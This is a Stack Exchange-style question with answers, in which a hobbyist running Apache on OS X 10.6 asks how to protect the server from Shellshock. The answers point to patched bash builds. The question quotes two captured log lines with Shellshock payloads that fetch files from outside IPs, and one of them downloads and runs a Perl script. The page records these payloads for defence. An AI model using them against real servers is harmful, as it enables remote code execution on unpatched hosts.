3

I am running a small HTTP server (Apache) off my Mac mostly as a hobby. If it becomes compromised it isn't the end of the world but it is something I would certainly like to prevent. I set up a launchctl job to check the Apache log file for possible requests related to Shellshock and last night I received to two related entries: 

82.221.128.246 - - [29/Sep/2014:08:14:41 -0400] "GET / HTTP/1.1" 200 2081 "-" "() { :;}; /bin/bash -c \"wget http://82.221.105.197/bash-count.txt\""
173.45.100.18 - - [29/Sep/2014:00:52:07 -0400] "GET /cgi-bin/hi HTTP/1.0" 404 208 "-" "() { :;}; /bin/bash -c \"cd /tmp;wget http://213.5.67.223/ji;curl -O /tmp/ji http://213.5.67.223/jurat ; perl /tmp/ji;rm -rf /tmp/ji;rm -rf /tmp/ji*\""

The first one looks harmless and the IP hosts a very legitimate looking website claiming that their requests are for research purposes only. The second one is a different story though, it tries to download and run a Perl script. Fortunately I don't have wget installed so this attack didn't work but it seems like it's only a matter of time before I get a request like this that does some damage.

Apple just released patches for OS X 10.7 and latter but unfortunately I am running 10.6. What simple and reliable measures can I take (i.e. not recompiling bash) to reduce my risks?

Improve this question
1
  • Correct me if I'm wrong, but only bash is vulnerable right? I've heard that installing a different shell like dash, csh, or whatever else helps to mitigate it. Although, this may still require compiling.
    – jonescb
    Oct 20, 2014 at 16:11

3 Answers 3

Reset to default
3

If you don't want to recompile Bash yourself, the folks at TenFourFox (who make a PPC version of Firefox) have compiled a binary that works on OS X 10.4 - 10.9 on both PPC and Intel Macs, and have terminal instructions for installing:

http://tenfourfox.blogspot.com/2014/09/bashing-bash-one-more-time-updated.html

At the time of writing (Sept 30) they've compiled Bash 4.3.27, but this still misses a couple of vulnerabilities that the Apple official patch has also missed. So it's better than nothing, but you'll want to keep watching for future updates.

Improve this answer
1
  • Perfect! Very appreciated; clear instructions and they worked exactly as advertised.
    – Wildcard
    Oct 11, 2015 at 9:23
0

You could possibly try recompiling bash yourself using this link. It patches the vulnerable bash version, but the new version is not signed by apple and could possibly break things.

Improve this answer
0

Check the "System Binaries" section of this answer. It works for 10.6.8, assuming you have Xcode installed.

https://apple.stackexchange.com/a/146851/96606

Improve this answer
1
  • Answers on Ask Different need to be more than just a link. It's okay to include a link, but please summarize or excerpt it in the answer. The idea is to make the answer stand alone.
    – Daniel ♦
    Oct 20, 2014 at 15:51

You must log in to answer this question.

Not the answer you're looking for? Browse other questions tagged .